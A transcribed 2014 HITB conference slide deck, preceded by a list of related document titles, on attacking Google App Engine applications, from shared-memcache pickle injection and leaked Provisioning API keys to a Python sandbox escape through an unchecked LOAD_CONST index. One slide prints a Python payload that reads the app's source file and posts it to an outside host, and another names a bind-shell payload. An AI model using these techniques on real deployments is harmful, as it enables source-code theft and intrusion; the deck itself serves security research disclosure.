Google Apps Engine. G-Jacking AppEngine-based applications. Presented 30/05/2014. For HITB 2014 By Nicolas Collignon and Samir Megueddem

Similar documents
Google Apps Engine. G-Jacking AppEngine-based applications. Presented 20/11/2014. For NoSuchCon 2014 By Nicolas Collignon

Check list for web developers

Cloudy with a chance of 0-day

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Where every interaction matters.

Mobile Application Hacking for Android and iphone. 4-Day Hands-On Course. Syllabus

What is Web Security? Motivation

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

THE SMARTEST WAY TO PROTECT WEBSITES AND WEB APPS FROM ATTACKS

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

BlackBerry Enterprise Service 10. Secure Work Space for ios and Android Version: Security Note

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Cloud Security Through Threat Modeling. Robert M. Zigweid Director of Services for IOActive

Intrusion detection for web applications

I Control Your Code Attack Vectors Through the Eyes of Software-based Fault Isolation. Mathias Payer, ETH Zurich

Exploiting nginx chunked overflow bug, the undisclosed attack vector

Web Application Attacks And WAF Evasion

Sitefinity Security and Best Practices

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Last update: February 23, 2004

SharePoint 2013 Logical Architecture

NEXPOSE ENTERPRISE METASPLOIT PRO. Effective Vulnerability Management and validation. March 2015

AppConnect FAQ for MobileIron Technology Partners! AppConnect Overview

Criteria for web application security check. Version

ASP.NET MVC Secure Coding 4-Day hands on Course. Course Syllabus

Cloud Application Development (SE808, School of Software, Sun Yat-Sen University) Yabo (Arber) Xu

APPLICATION SECURITY: FROM WEB TO MOBILE. DIFFERENT VECTORS AND NEW ATTACK

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Basic & Advanced Administration for Citrix NetScaler 9.2

Hack Proof Your Webapps

Enterprise Application Security Workshop Series

Salesforce1 Mobile Security Guide

Chapter 1 Web Application (In)security 1

Web application security

Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A monnappa22@gmail.com

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Introduction to the Mobile Access Gateway

STOPPING LAYER 7 ATTACKS with F5 ASM. Sven Müller Security Solution Architect

WHY ATTACKER TOOLSETS DO WHAT THEY DO

Cloud Security with Stackato

OWASP AND APPLICATION SECURITY

Security Guide. BlackBerry Enterprise Service 12. for ios, Android, and Windows Phone. Version 12.0

Rational AppScan & Ounce Products

05.0 Application Development

Web Application Security

Secure Web Application Coding Team Introductory Meeting December 1, :00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda

ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

NETASQ & PCI DSS. Is NETASQ compatible with PCI DSS? NG Firewall version 9

Magento Security and Vulnerabilities. Roman Stepanov

Software security. Buffer overflow attacks SQL injections. Lecture 11 EIT060 Computer Security

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Jonathan Worthington Scarborough Linux User Group

Web Application Security

The Top Web Application Attacks: Are you vulnerable?

Using the Push Notifications Extension Part 1: Certificates and Setup

EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.

Web Engineering Web Application Security Issues

SOA, case Google. Faculty of technology management Information Technology Service Oriented Communications CT30A8901.

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Columbia University Web Security Standards and Practices. Objective and Scope

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

JBoss security: penetration, protection and patching. David Jorm

THREAT MODELLING FOR SQL SERVERS Designing a Secure Database in a Web Application

Web Application Vulnerability Testing with Nessus

Still Aren't Doing. Frank Kim

Mobile Application Hacking for ios. 3-Day Hands-On Course. Syllabus

Virtualization System Security

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

2013 MONITORAPP Co., Ltd.

VMware Horizon Workspace Security Features WHITE PAPER

QuickBooks Online: Security & Infrastructure

5 Mistakes to Avoid on Your Drupal Website

Essential IT Security Testing

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

PaaS - Platform as a Service Google App Engine

Ruby on Rails Secure Coding Recommendations

Virtually Secure. a journey from analysis to remote root 0day on an industry leading SSL-VPN appliance

SAFE-T RSACCESS REPLACEMENT FOR MICROSOFT FOREFRONT UNIFIED ACCESS GATEWAY (UAG)

Installation and configuration guide

Custom Penetration Testing

Web Application Defence. Architecture Paper

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Auditing a Web Application. Brad Ruppert. SANS Technology Institute GWAS Presentation 1

Kony Mobile Application Management (MAM)

Cloud Security:Threats & Mitgations

Security Management of Cloud-Native Applications. Presented By: Rohit Sharma MSc in Dependable Software Systems (DESEM)

SERENA SOFTWARE Serena Service Manager Security

Installation and configuration guide

CompTIA Mobile App Security+ Certification Exam (Android Edition) Live exam ADR-001 Beta Exam AD1-001

VAULT MODERN SECRETS MANAGEMENT

D. Best Practices D.1. Assurance The 5 th A

Java Web Application Security

Apigee Gateway Specifications

Learn Ethical Hacking, Become a Pentester

WildFire Overview. WildFire Administrator s Guide 1. Copyright Palo Alto Networks

Ruby on Rails Security. Jonathan Weiss, Peritor Wissensmanagement GmbH

Transcription:

Google Apps Engine G-Jacking AppEngine-based applications Presented 30/05/2014 For HITB 2014 By Nicolas Collignon and Samir Megueddem

Introduction to GAE G-Jacking The code The infrastructure The sandbox Conclusion

Introduction

What is GAE? A Platform-As-A-Service for Web applications SDK provided to develop, test and deploy GAE applications services and back-ends are hosted in Google datacenters Data can be hosted in Europe after filling the Extended European Offering form Supported programming languages: 4 / 37

Overview of the architecture A «load-balancer + reverse-proxy + application server + backends» solution IPv4 and IPv6 HTTP, HTTPS, SPDY/3, SPDY/3.1, SPDY/4a4 and QUIC unified as a FastCGI interface Can be connected with HTTP services within an internal network via Google SDC

Attacking the app implementation

Developers still...... manipulate raw SQL queries MySQL injections still happen in Google Cloud SQL GQL injections seem more rare... control raw HTTP responses XSS still happen (even in GAE samples code...)... need to implement security features and/or correctly use frameworks CSRF are still possible

The urlfetch API Requesting external Web services SSL certificates validation is not enabled by default Developers may (forget to) use the check_certificate=true argument Inferring with the Google resolver makes only sense if the domain servers are not hosted by Google Requesting GAE Web services Google provide trusted (not spoofable) HTTP headers such as X- Appengine-Inbound-Appid or X-Appengine-Cron but many applications extract the caller identity by using the User- Agent header AppEngine-Google; (+http://code.google.com/appengine; appid: APP_ID)

Python RCE? How to obtain arbitrary Python code execution? A Google account that manage the app. is compromised By exploiting eval/unserialize/pickle vulnerabilities Pentesters want persistent shells Install or inject a XMPP end-point and register an URL route

set payload gae/py_bind_gtalk Directly interact with the application core components

GSOD: Google Screen Of Death DoS attacks turn into over-billing attacks Most API are billed on a share-basis : CPU, Memory, storage and network services I/O Daily or per-minute quotas can be setup IP blacklisting is supported Blacklisted IP list is maintained by the customer applications are also exposed on IPv6 and efficiently blacklisting IPv6 networks is hard

Attacking the GAE infrastructure

Replicating Google @ home Why all developments cannot be done off-line? GAE SDK testing tools cannot replicate all available services It costs money to deploy tests mails/files/databases/etc. servers Some bugs will be only visible when the application is deployed in Google datacenter: urlfetch API, SDC authorization, quota handling What we see: Developers access sensitive credentials Developers can compromise more services than just the one needed for their needs Authentication tokens expires but can be renewed Having a distinct test Google App domain can enforce data isolation

An environment is not a version Non-GAE applications: what we are used to see Development and production environments are isolated and have different security levels Only 1 version of the application is running in production GAE applications: what we often see Multiple versions with and without debug features of the same application are running concurrently on the same Google Apps account We can attack the version secure PROD-V2 via vulnerabilities in insecure PROD-V1 or DEV-V3

Use case: getting the source code Isolation between versions is possible but often not implemented Blobstore, Datastore, memcache and tasks queues are shared unless the application uses the Namespaces API Most GAE applications trust data stored in the memcache back-end Pickle is often used explicitly or implicitly through sessions management libraries Evil versions can easily replace trusted data with a malicious Python exploit The irreversible download source kill-switch can be bypassed import ("google.appengine.api.urlfetch").appengine.api.urlfetch.fetch(url="http://pouet.synacktiv.fr/", payload=open( import ("os").environ["path_translated"].rpartition("/") [2][:-1]).read(), method="post")

Use case: the provisioning API An application uses the GAE Provisioning API Mostly used by large organizations that need to automate users management tasks Sensitive API which requires a secret domain key Classic fail: production domain key is stored in an insecure place Google User management cannot be replicated in-house so the primary domain key ends up hard-coded in the application source code Accessing the domain key is as dangerous as compromising a Windows domain administrator account Cool pentesting post-exploitation tricks Perform OAuth impersonations using the domain key to spoof accounts identity Crawl Tera bytes of consumers data in few seconds with the power of Google services

SDC: hard-coded credentials When GAE applications are exposed to 3rd parties They may need to authenticate both Google accounts and another kind of app-specific accounts The SDC agent only accepts requests from connections authenticated with Google accounts Developers need to hard-code some Google account credentials when dealing with requests coming from non-google accounts Google account GAE Application SDC channel internal application Standard account Hard-coded Google account

SDC: bypassing internal filtering SDC agent white-list features App-Id filtering: it is not used once more than 2 GAE applications use the SDC agent URL filtering: it is not used because each URL Web services must be defined in the configuration GAE Application SDC channel 2 Contact firewalled server evil application 1 Deploy app. Same Google App domain Corporate network

Attacking the GAE Python sandbox: Global overview

Attacking the GAE Python sandbox: Development environment

Restricted API forgotten references open() function is restricted when the GAE server is bootstrapped

Restricted API forgotten references But a reference to open is kept in GAE context

Attacking misplaced hooks Python module os is restricted Forbid commands execution it's a wrapper for the unrestricted module posix

Attacking the GAE Python sandbox: @ google datacenter

The LOAD_CONST opcode pushes co_consts[index] onto the stack index is not checked against co_names tuple bounds if DEBUG mode is disabled useful optimization feature :) case LOAD_CONST: x = GETITEM(consts, oparg); Py_INCREF(x); PUSH(x); /* Macro, trading safety for speed */ #define PyTuple_GET_ITEM(op, i) \ (((PyTupleObject*)(op))->ob_item[i]) GAE applications can create or modify code objects The Google Python VM is not compiled with DEBUG mode We can ask the VM to load a Python object from a tuple with an unverified index

Calculate the tuple index Have LOAD_CONST returns an arbitrary pointer id() returns the base address of an object, heap-spray is not needed We can fill the VM memory with arbitrary data co_consts tuple (,, ) head PyObject * PyObject * junk... arbitrary data id(tuple_obj) id(tuple_obj) + head_size id(evil_obj) index = ( id(evil_obj) - id(tuple_obj) - head_size ) / pointer_size We can compute the tuple index in order to reference an arbitrary memory area

bytearray object is helpful bytearray object exposes r/w access to memory If we control the bounds of the mapped area if can r/w everywhere in memory The vtable pointer used in object headers can be guessed We use a innocent string object as a container for an evil bytearray PyStringObject PyByteArrayObject VAR_HEAD head var_head refs count string data head vtable pointer id(bytearray) buffer size buffer pointer pointer to arbitrary r/w memory

Back to LOAD_CONST Packing everything: bytearray + tuple index + LOAD_CONST We need 2 containers: 1 for the bytearray and 1 for the pointer to bytearray We run LOAD_CONST + RETURN_VALUE bytecodes that returns a bytearray than can r/w arbitrary memory If we try to access an unmapped addresses, the Python VM crashes co_consts tuple ( PyObject *, PyObject *, ) container #1 ByteArray container #2 pointer From arbitrary r/w to arbitrary code execution tuple index adjusted to go here We can patch Python objects methods pointers we can call arbitrary address (control $rip) We can patch Python VM.plt section we can safely call arbitrary libc symbol Python code file('...').seek(a,b,c) Python VM fseek(a,b,c) Python.plt XYZ(A,B,C) mmap()+ copy + mprotect()+ call

Black-box pentesting is fun Exploit reliable with many cpython versions but not where we want arbitrary r/w to memory works @ google but... ELF header not mapped in memory no mmap() and mprotect() no shellcode

Exploiting @ google Still having fun under the NaCL sandbox layer We use the bytearray r/w exploit to recover libc symbols used by the VM Call arbitrary libc (or others) methods with arbitrary arguments Only the Python-level sandbox is bypassed, however you can chain with a NaCL 0-day if you have one ;) CPython libc PyTypeObject pointers guessed with id().data method pointers symbols.text heuristics xrefs disassembly.plt /.got.text disassembly

Conclusion

Final words... Google sandboxing is implemented in depth Python sandbox can be evaded but it's only the first security layer The SDK sandbox has no NaCL security layer Pentesting GAE environments Classic Web attacks work because developers always need to code securely Getting access to 1 GAE application source code or developer's workstation may lead to the compromise of several services used by one domain An insecure SDC agent setup may help to bypass internal network firewalls The GAE framework is complex It's not easy to migrate to GAE authentication and authorization models Sensitive credentials are often hard-coded in the wrong places

ANY QUESTIONS? THANKS FOR YOUR ATTENTION.